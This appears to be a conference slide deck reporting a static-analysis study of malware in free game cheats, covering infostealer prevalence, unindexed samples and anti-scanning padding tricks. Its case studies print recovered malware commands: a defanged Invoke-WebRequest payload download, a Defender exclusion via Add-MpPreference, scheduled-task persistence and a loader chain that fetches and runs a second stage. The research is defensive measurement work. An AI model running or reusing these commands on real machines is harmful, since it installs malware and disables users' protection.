Edit mode — Ctrl+S to save
← → navigate · N notes · O contents · T timer · M motion · E edit
T — press T to start
NordSec 2027 · Measurement

From Headshots
to Infostealers

Malware prevalence and threat-intelligence blind spots in freely distributed game cheats. 295 unique artefacts, one pre-committed rule, and a 13.56 % region nobody can classify.

Odin Midtgård Noroff University College Jan–Feb 2026
Static analysis only · no sample detonated on a networked host · all indicators defanged
Before the data
Hands up · nobody is being judged

Two questions before I show you a single number

Question 01

Have you ever unzipped an archive using a password from a video description?

Or a Discord message, or a pastebin. Keep your hand up.

Question 02

Have you ever turned off Defender to make something run?

On any machine. For any reason. Including “it was a false positive”.

Whatever fraction of this room just raised a hand is the fraction of the defence that never depended on the binary at all.
Audience participation · ~40 seconds, no slide advance
The spine
If you remember nothing else

Three things

01

6.78 % is real, and it is a floor

Twenty of 295 free cheat artefacts are confirmed malicious under a rule fixed before analysis. The rule is not doing the work — the estimate barely moves across it.

02

13.56 % cannot be classified at all

Not clean. Unmeasured. And distributors build against ingestion on purpose, with techniques you can read off an archive header.

03

The signal arrives before the binary

Four plain-text markers on the download page predict the risk, at index time, with no sample and no verdict.

Everything after this slide is evidence for one of those three. Slides and the full artefact package go out as a PDF after the session — no need to photograph anything.

Three core messages · restated on the final slide
The pathway
Why this channel

The instructions are the attack

01

Anti-cheat inspects

Client-side anti-cheat reads the execution environment, some of it from ring 0

02

Cheats manipulate

Memory reading, process manipulation, injection. There is no other way in

03

Endpoint detects

Manipulation is exactly what an EDR is built to flag

04

User disarms

Disable Defender, run as administrator, execute unsigned code from a stranger

A user following a cheat’s own README arrives at precisely the machine state an attacker would otherwise have to engineer.

Under the Man-At-The-End model the cheat user is adversary to the game and victim to the distributor at the same time. Defences built around an unwilling victim do not transfer.

Collins et al. 2024 · Alturki et al. 2020
Related work
What is missing

Everyone knows.
Nobody measured.

That cheats sometimes carry malware is not a new claim. What is missing is a recent, reproducible measurement with an explicit classification rule.

And a harder question nobody has asked: how much of this channel is invisible to the hash-based intelligence that users and platforms actually depend on.

The most-repeated number in this space — AVG’s “90 % of game hacks are infected” — has no published denominator, threshold or corpus. We cite it only as irreproducible.

Three questions

RQ1 · Prevalence

To what extent do free cheat artefacts carry malicious components, and how sensitive is that estimate to the rule used?

RQ2 · Categories

Which categories are present, and can capability intrinsic to cheating be separated from evidenced payload?

RQ3 · Social engineering

What patterns accompany distribution, and are they observable before a binary is ever scanned?

The answer that matters

Coverage, not prevalence. That is the argument of this talk.

Karkallis 2021 · Unterbrink 2021 · Anwar 2023
01
Method

Collect, triage,
deduplicate, verify

Free, public, unauthenticated channels only. Static-first, because 295 hostile artefacts is the wrong corpus to detonate.

Design and pipeline
Pipeline
Four stages

Nothing executed. Everything recomputed.

Fingerprint

Identity

SHA-256 and MD5 from file bytes, PE metadata, architecture

Extract

Static indicators

Shannon entropy, packer ID, import table, strings, ssdeep and imphash

Validate

Multi-engine

VirusTotal and MalwareBazaar per unique hash. Never ground truth

Classify

Evidence-led

Behavioural categories from labels, strings, imports, structure

Containment

Collection host

VPN, sandboxed browser, NIC disabled before analysis

Analysis host

Air-gapped FLARE-VM, snapshot rollback · never networked

Storage

Encrypted removable media, binaries never republished

Sources

GitHub, YouTube, UnknownCheats, general web search. Paid, subscription and invite-only excluded — the free tier is the socially scalable attack surface.

20 Jan – 12 Feb 2026 · six ingest dates
Corpus
Reduction

18,925 files collapse to 295 questions

Collected files
0
Candidates
0
Unique SHA-256
0
Of those, PE
0

Candidates carry a PE extension, present a PE header despite an ambiguous extension, or are scripts shipped inside a cheat package. Scripts dominate the 562 instances at 71.9 % (404). The 295 unique artefacts confirm material is redistributed across packages under different filenames.

The generated manifest recorded an incorrect SHA-256 for 9 of 562 candidates. Every hash here was recomputed from file bytes.

A hash-defined corpus misclassifies silently when the index is wrong. Those nine errors had moved two flagged binaries into the “no record” tier. Recomputation should be routine.

Every hash and entropy value recomputed on macOS and FLARE-VM independently
02
Prevalence

RQ1 — and how
much the rule moves it

A threshold fixed before analysis, confidence intervals on every figure, and a sensitivity sweep so you can see the cutoff is not doing the work.

Results
Classification
n = 295 unique artefacts

Four tiers, and one of them is not a verdict

0artefacts
  • Malicious ≥ 5 detecting engines 206.78 %
  • Suspicious 1–4 engines 93.05 %
  • Clean indexed, 0 detections 22676.61 %
  • No VT record service returned nothing 4013.56 %
The fourth tier is not benign. It is unmeasured, and it makes every figure above a lower bound.

Wilson 95 % CI: malicious 4.43–10.24 %, malicious-or-suspicious 9.83 % (6.93–13.76 %). MalwareBazaar matched a single hash and contributed no discriminating information.

No package-level rate reported — the collection unit was not fixed before counting
Sensitivity
Does the cutoff carry the result

No. And that is
the point.

ThresholdMaliciousShareWilson 95 % CI
≥ 1 engine299.83 %6.93 – 13.76
≥ 3 engines237.80 %5.25 – 11.43
≥ 5 engines pre-committed 206.78 %4.43 – 10.24
≥ 10 engines186.10 %3.89 – 9.44
≥ 20 engines165.42 %3.37 – 8.63
≥ 30 engines124.07 %2.34 – 6.97
≥ 40 engines62.03 %0.94 – 4.37

Every interval from ≥ 1 to ≥ 20 overlaps every other, so the estimate is stable across that whole range. It becomes load-bearing only at ≥ 40.

Detection counts among the 29 detected artefacts
9 1–4
2 5–9
2 10–19
4 20–29
6 30–39
6 40+

Strongly bimodal: artefacts sit at or near zero, or above 29, with a thin middle. A further 226 sit at exactly zero detections, off scale. Median across the 20 confirmed is 34.

Threshold fixed before analysis to suppress isolated false positives
The finding
No verdict available
0.00%

of artefacts had no VirusTotal record at all when we looked. 40 of 295. CI 10.12–17.94 %.

Why this is the headline, not the 6.78 %

It is not a benign tier

These artefacts cannot be classified in either direction by threat intelligence. Every prevalence figure in this talk is a lower bound over a 13 % blind region.

It is not randomly distributed

Three observations say the region is partly manufactured, and we watched distributors do the manufacturing.

It is the mechanism users trust

Hash reputation is what the platform, the browser and the endpoint stack all fall back on. On this channel it is structurally poorly positioned.

Coverage, not prevalence
03
Coverage gap

Engineered
against ingestion

Fresh builds have no reputation, direct downloads bypass indexing entirely, and four distribution techniques exist to make sure the sample never reaches an engine.

The principal finding
The mechanism
Why the blind region exists at all

The payload and the verdict are running different races

Blind window · the payload is already resident
Payload · reaches the user build upload first victim
Intelligence · reaches the engines someone submits it verdict published
Nothing in the lower lane starts until a human decides to submit the file. For 40 of 295 artefacts, nobody ever did.

The next three slides are the four techniques that widen that window on purpose: size padding, generated entropy, password gates and content lockers.

Replace this static plot with a 12-second animated build

  • 0–3 s red payload bar runs to “first victim”; hold on the empty lower lane so the absence is felt.
  • 3–8 s cyan bar starts late at “someone submits it”; the blind window fills in behind it.
  • 8–12 s lower lane greys out, stamp “never submitted — 40 / 295”.

CSS keyframes on the existing .lf widths, fired by .slide.go — no library, no video file. Runs once on entry, never loops, so it does not compete with the spoken line. Render the end state immediately under prefers-reduced-motion.

Reputation is a lagging indicator by construction
Fresh builds
One archive, two build trees

Reputation does not transfer to a twin

bin/Release/CS2Cheat.dll
6026ae8f… · 776,704 bytes
3 / 71
detections
build/Release/CS2Cheat.dll
1c9e198b… · 776,704 bytes
no record
VirusTotal returned nothing
identical size · shared imphash · ssdeep similarity 97 · byte-distinct

Same code, differently configured. One is indexed, its twin is invisible. In an ecosystem where a single GitHub search for aimbot returns over 7,600 repositories, repositories appear faster than submission pipelines index them.

Two more routes into the blind region

Direct-download channels

YouTube description links, Discord attachments, file-hosting redirects. The binary reaches the user without passing any indexing service. The binary arrives before the intelligence does.

One honest qualification

Rebuilding this project reproduced 6026ae8f… exactly: Roslyn emits deterministic assemblies and writes content hashes into the PE timestamp field. For managed targets a fresh build is not automatically a fresh hash. The non-transfer is the durable point.

FullyExternalCS2-main.zip · ships its own build tree
Tradecraft
Observed in the corpus

Four techniques that delay or prevent ingestion

01 · Constant-byte size padding

Set-Up.exe shipped as 841,247,745 bytes, past the upload limits sandboxes and TI platforms enforce. It compresses 693:1, which is only reachable on near-constant data — visible from archive headers alone.

02 · Generated high-entropy padding

Three byte-identical 52,428,800-byte files at entropy 7.9943. Incompressible, so it survives the test that exposes technique 01, and it reads as ciphertext to every entropy-based triage rule.

03 · Password-gated archives

Encrypted archives with the password published in the video description (2025, cs2hack). Automated scanning cannot open it. The payload stays encrypted at rest until a human extracts it.

04 · Content lockers

Download flows requiring survey completion or link sharing before release, inserting a human step ahead of the payload.

Techniques 03 and 04 also build compliance. A user who completed a survey and typed a password has already invested effort.

That user is correspondingly less likely to abandon at a security warning. The gate is doing two jobs at once: it keeps the scanner out and it walks the victim further in. Both jobs happen before any binary is analysed.

Effect and, we argue, purpose
What it looks like
45 seconds, no narration over it

The four techniques, as the user experiences them

Screen recording · 45 s, silent, 1920×1080, muted autoplay on slide entry

  • 0:00–0:08 — YouTube page, cheat video, cursor scrolls to the description and reveals the shortened link plus the password cs2hack.
  • 0:08–0:18 — content locker: survey gate, “complete an offer to unlock”. Show the wait, do not cut it short; the dead time is the point.
  • 0:18–0:28 — download lands. Windows Explorer shows the file size: 841 MB. Right-click, upload to a scanner, rejected — file too large.
  • 0:28–0:38 — extract with the published password, run as administrator, UAC prompt accepted, Defender exclusion added by the README’s own instructions.
  • 0:38–0:45 — the MSVCP140.dll dialog appears. Freeze on it. Cut to black.

Recorded on the air-gapped FLARE-VM, no live network, hostnames and links blurred or defanged in post. Burn in a persistent “reconstruction · isolated VM” corner label so nothing here can be mistaken for a live demo. Hard-subtitle the four beats — the room will be reading, not listening, so keep the captions and the spoken line saying the same thing.

Why video, and only here

Four techniques described in text read as four bullet points. Watched in sequence they read as one designed funnel, which is the actual claim.

Say nothing while it plays

Narration over on-screen text overloads one channel and costs recall. Set it up in a sentence, stay quiet for 45 seconds, then land the point.

If the file will not play

Fall back to four stills on this slide and keep talking. Roughly 60 % of presenters hit a technical fault; test playback on the room’s machine, not yours.

Nothing in that clip requires a zero-day. Every step is the user following instructions.
Reconstruction on an isolated host · no sample executed on a networked machine
Technique 01
Set-Up.exe · YouTube, 3 March 2026

802 MB of nothing wrapped around 2.28 MB of stealer

Payload as a share of the distributed file
padding →
2.28 MB payload · 0.28 % of the file 841,247,745 bytes total
Compression
0:1
Stripped size
2.28MB
Detections, stripped
0/72
Excluded from the 295-artefact denominator and from every prevalence figure. We report it as a qualitative case, not as data.

The bulk is padding, provable without unpacking

A 693:1 ratio is only reachable on near-constant data, and the ratio is readable from the archive headers. No detonation, no extraction, one metadata read.

It reached us through a different door

Collected six weeks apart through a different channel from Cs2Hack.exe, yet it shares a Go compiler version, section structure and a near-empty import table with it.

Independently submitted dynamic results for the same hash report infostealer behaviour. We did not detonate it, so that corroborates the static reading rather than extending it.

Supplementary corpus · reported separately throughout
Technique 02 · detector
Entropy saturates. Support does not.

Support below 256 means generated, not encrypted

Ciphertext and compressed data exercise all 256 byte values with overwhelming probability at megabyte scale. A generator with a modulo bias does not.

One pass, no key, no unpacking, no signature
from collections import Counterimport mathdef profile(path):    c = Counter(open(path, "rb").read())    n = sum(c.values())    H = -sum(v/n * math.log2(v/n) for v in c.values())    return H, len(c)   # entropy, byte-value support>>> profile("padding.bin")(7.9943, 255)   # 0xFF never occurs in 52,428,800 bytes
Byte-value histogram · 52,428,800 bytes
0x000xFF

0xFF occurs zero times in 52,428,800 bytes. Every other value is present.

Measured entropy
7.9943

reads as ciphertext

log₂(255)
7.9944

a uniform draw over 255 symbols

Chi-square vs uniform
205,858

on 255 degrees of freedom

AES would show
~204,800

occurrences of 0xFF at this length

Decryption failed because there was nothing to decrypt.
Report the pair (H, support). Cost: one pass over the file.
Technique 02 · live
Runs in this slide, offline, right now

Same entropy. Different support. One pass.

Two megabytes generated in the browser. Both read as ciphertext to an entropy rule. Only one of them exercises all 256 byte values.

… or drop any file here — it is read in the page and never leaves it
Entropy H
—
Support
—
Bytes read
—
Reading
—
Byte-value histogram · 0x00 to 0xFF

Entropy is a scalar and it saturates. The histogram is 256 numbers and it does not. A missing bar is a generator fingerprint, not a cipher.

Presenting this slide

  • Press the right-hand button first: full support, 256 bars, nothing to see. That is the control.
  • Then the left-hand button: same entropy to four decimals, one bar missing. Let the room find it before you name it.
  • Optional and stronger: drop the real padding.bin from the artefact package off a USB stick. Same result, live, on their file.

Generation is synchronous and takes roughly 150 ms for 2 MB; click, then keep talking. Falls back to a static histogram if the canvas fails.

Interactivity principle — the audience controls the comparison, not the slide
04
Categories

What “malicious”
is actually counting

The cutoff matters less than the label. Six of the twenty flagged artefacts are builds of public projects, detected for doing exactly what they say on the tin.

RQ2
The twenty
≥ 5 detecting engines · n = 20

Median detection count: 34

P independent static anchor D build of a public project
ArtefactTargetDetectionsRate CategoryClass
undetek-v10.12.exeCS253 / 7174.6 %HWID spoofer—
Swift.exeRoblox53 / 7174.6 %Loader / dropperP
Fortnite.exeFortnite50 / 7170.4 %Unclassified—
DragonBurn.exeCS249 / 7268.1 %Packed SFX—
Cs2Hack.exeCS247 / 6968.1 %Reflective loaderP
BlackBoneDrv10.sysMulti43 / 7160.6 %Kernel injectorD
dll.dllCS239 / 7254.2 %Cheat framework—
BlackBoneDrv7.sysMulti38 / 6955.1 %Kernel injectorD
zRanibox6s.exeR6S37 / 7251.4 %DropperP
silky.dllValorant36 / 7250.0 %Cheat frameworkP
codexsoftwares.exeCS234 / 7147.9 %Unclassified—
CSEXTERNAL-V2.exeCS234 / 6651.5 %Unclassified—
BlackBoneDrv81.sysMulti29 / 7140.8 %Kernel injectorD
BlackBoneDrv8.sysMulti29 / 7339.7 %Kernel injectorD
aimr.py (v1)Unknown23 / 6336.5 %Script—
berserkv2.dllCS221 / 7229.2 %Cheat framework—
aimr.py (v2)Unknown19 / 6330.2 %Script—
Cheat-Base.dllCS212 / 5621.4 %MinHook debug buildD
Launcher.cmdRoblox9 / 6114.8 %Script dropperP
luajit.exeValorant5 / 677.5 %LuaJIT runtimeD

CSEXTERNAL-V2.exe and berserkv2.dll enter the set only after hash recomputation. aimr.py is two distinct hashes. luajit.exe is the LuaJIT runtime on two generic labels — a false positive on our exact threshold, and the only artefact making ≥ 5 bite rather than ≥ 10.

Ratios recomputed per artefact — engine totals differ by file type
Provenance, not labels
One corpus, three defensible numbers

Flagged capability is not an evidenced payload

Evidenced payload · 5 / 295 1.69 % · 0.73–3.91
Public-project dual-use · 6 / 295 2.03 % · 0.94–4.37
TI-flagged · 20 / 295 6.78 % · 4.43–10.24
Unmeasured · 40 / 295 13.56 % · 10.12–17.94
0 %
5 %
10 %
15 %
Neither of the first two is the “true” figure. The gap between them is the finding.

Splitting on vendor labels does not work: four release builds of one open-source project split two ways on label balance. Provenance is checkable and stable. The residual 3.05 % (9/295) is flagged but uncharacterised, and we decline to assign it.

Wilson 95 % intervals · axis 0–20 %
Case 01
53 / 71 · Roblox executor

Swift.exe ships C# source that does not match its binary

Go-compiled with symbols retained. Disassembly of main.main recovers a staged-loader chain in full, so we report the verified chain rather than the vendor label.

Recovered from retained Go symbols
os/exec.Command            // spawn powershell  → net/http.(*Client).Get  // pastebin raw endpoint  → os.Create               // randomised filename  → io.copyBuffer           // into %APPDATA%  → exec.(*Cmd).Start       // second stage runs

Label says Lumma

Multi-engine consensus identifies the Lumma infostealer. The staging URL was confirmed independently by string extraction.

Evidence says loader

The two are compatible — a loader may deliver Lumma — but the chain is what this analysis establishes and the payload identity is not.

Why we say it this way

Adopting the vendor label would import a claim we did not verify into a paper whose whole argument is about what verdicts do and do not establish.

Visible source, different binary.
The repository is the disguise.
No second stage retrieved — the endpoint was not fetched
Case 02
37 / 72 · internal name OmnyLoad.exe

A dropper wearing a cheat’s name

Configuration lives in an AES-CBC .NET manifest resource: key in the first 32 bytes, IV in the next 16, ciphertext in the remainder. Decryption recovers a 39-entry string table.

Recovered chain · host defanged
Add-MpPreference -ExclusionPath "C:\ProgramData\"Invoke-WebRequest hxxp://a0717206[.]xsph[.]ru/db/opti.db   -OutFile ...\devenv.exe   + stip.db, dbg.db, ok.db  ->  SpeechUx.exe, git.exeSCHTASKS /create /sc ONLOGON /TN "Microsoft\Two"schtasks  /create /tn \Mylibrary\Ape /xml ...\start.xml
Doubly obfuscated. A string search of the decrypted resource for Add-MpPreference returns nothing — each command is a PowerShell -encodedCommand carrying base64 UTF-16LE.
What the user sees, immediately after
System Error×
The program can’t start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.
OK

One dialog buys the whole operation

The user reads a routine dependency failure and concludes the cheat did not work, while four executables sit on disk under Defender-excluded paths with a logon-triggered task registered.

It branches on four operating systems

Reads ProductName from the registry and carries distinct paths for Windows 7, 8, 10 and 11. Windows 10 gets an ONLOGON task; 8 and 11 fetch a task XML from the same host and import it.

Command-and-control entirely web-based over plain HTTP
Case 03
47 / 69 · Go 1.19.12

A hand-rolled PE loader, and no cheat needs one

Near-empty import table

Imports exactly one DLL. kernel32.dll, 39 functions, among them GetProcAddress, LoadLibraryA/W and VirtualAlloc. Everything else resolves at runtime, which defeats IAT inspection and imphash similarity alike.

Symbols expose the workflow

main.readOptionalHeader, main.readRelocs, main.ParseOrdinal, main.Virtual_Alloc, main.DropProc. Header parsing, relocations, ordinal export resolution and allocation is the full complement of a reflective loader.

The loader is structurally evidenced. The payload it was built to load was not in the package.
Symbol table flooding · 190 distinct main.* identifiers
machine-generated 157
meaningful 31

The generated ones are concatenations of English words, 159 to 213 characters long.

Retain the symbols, bury them in noise

Symbol-based triage is defeated while the binary still presents as an ordinary unstripped Go build. A third anti-analysis measure alongside the empty import table and the padding.

The tempting misreading

Three byte-identical 50 MiB files at entropy 7.99 invite reading as an encrypted payload. Both grounds are unsound: 50 MiB is divisible by 16 as arithmetic, and any 16 high-entropy bytes “look like” an IV. The byte histogram settles it.

Collected 22 Jan and 4 Feb 2026 · primary corpus
05
Implications

The signal arrives
before the payload

The most actionable result in this work is not a property of the binaries. It sits in plain text on the distribution page, available to a platform at index time.

RQ3 and discussion
RQ3
Coded from READMEs, install instructions, batch scripts

Indicator frequency

bypass 71
undetected 55
discord.gg 43
injector 27
loader 23
spoofer 16
run as administrator 10
download and run 10
kernel driver 6
disable windows defender 4

Frequency runs opposite to specificity. bypass is the most common and the least useful — it is dominated by legitimate anti-cheat discussion.

The conjunction is the detector

Disable-Defender instruction, plus run-as-administrator, plus an undetected claim, plus an off-platform redirect. The conjunction discriminates far better than any indicator alone, and all four are readable at index time.

Four patterns

Disablement → escalation

Together they bring the user to full privileges with no endpoint protection. The Man-At-The-End risk realised through the victim’s own actions.

Platform redirection

discord.gg and Telegram invitations move users into channels where operators push updated payloads and build trust.

Trust manipulation

undetected functions as a competence signal: evasive enough to beat anti-cheat, therefore well built, therefore safe. Read correctly it is a description of malware behaviour.

Single-coder keyword counting · codebook published with the artefact package
Discussion
What this changes

Hash reputation is structurally the wrong front line

Arrives after the binary
13.56%

of binaries are invisible to hash reputation, and distributors actively work to keep them there.

A verdict keyed to a hash cannot speak about a build nobody submitted, and rebuilds are cheap in an ecosystem turning over this fast.

Arrives before the binary
4 signals

sitting in repository READMEs and video descriptions, available to a platform at index time and requiring no binary analysis.

Text co-occurrence is not a better classifier in the abstract. It is better positioned than the mechanism currently relied upon.

For defenders the dual-use finding cuts both ways: blocking ring-0 injection is correct regardless of intent, but treating every cheat detection as a malware incident misallocates response.

For users the relevant finding is not the prevalence figure. Whoever disabled Defender, elevated privileges and ran an unsigned binary from a Discord redirect has assumed most of the risk whether or not that artefact was malicious.

A consenting user granting kernel-level execution is total compromise if the upstream project is taken over
What this does not support

Bounded claims, stated limits

01

No comparator corpus

We cannot claim cheats are more dangerous than other freely downloaded software. Statements about elevated risk here describe an exposure pathway, not a measured differential.

02

Static only, and a snapshot

Blind to runtime behaviour and to dormant or game-state-triggered functionality. Verdict dates span 2020-06-19 to 2026-04-20, median 2024-09-26 — a single “query date” would misdescribe this data.

03

Selection effects, both directions

Packages resisting collection are disproportionately the ones using the tradecraft above, biasing the corpus toward benign material. Engines flag dual-use tooling on capability, inflating the flagged count.

04

Next

Characterising the nine flagged but unreconstructed artefacts is the cheapest improvement. The comparator corpus is the most valuable. Classifiers on symbol retention, loader-oriented imports and package-level entropy could reduce dependence on reputation services precisely where they are weakest.

Artefact availability

SHA-256 manifest, provenance metadata, timestamped TI results, static indicator tables and the social-engineering codebook. Binaries are not published. Samples go to verified researchers under agreement.

Take-away

6.78 % is the number people will quote. 13.56 % is the number that should change what platforms do, and the padding detector costs one pass over the file.

Odin Midtgård · Noroff University College · thanks to Barry Irwin
Close
The three things, again

One number gets quoted.
The other one should change something.

01

6.78 %

Confirmed malicious, stable across every threshold from one engine to twenty. This is the figure that will end up in the write-ups.

02

13.56 %

No verdict available in either direction, engineered to stay that way, and it makes the first number a floor.

03

Four plain-text signals

Disable-Defender instruction, run-as-administrator, an undetected claim, an off-platform redirect. Readable at index time.

If you take one action from this talk: report the pair (entropy, byte-value support), not entropy alone. It costs one pass over the file.

Slides, SHA-256 manifest, static indicator tables and the social-engineering codebook go out as a PDF after the session. Binaries are not published; samples go to verified researchers under agreement.

Odin Midtgård · Noroff University College · questions welcome, including hostile ones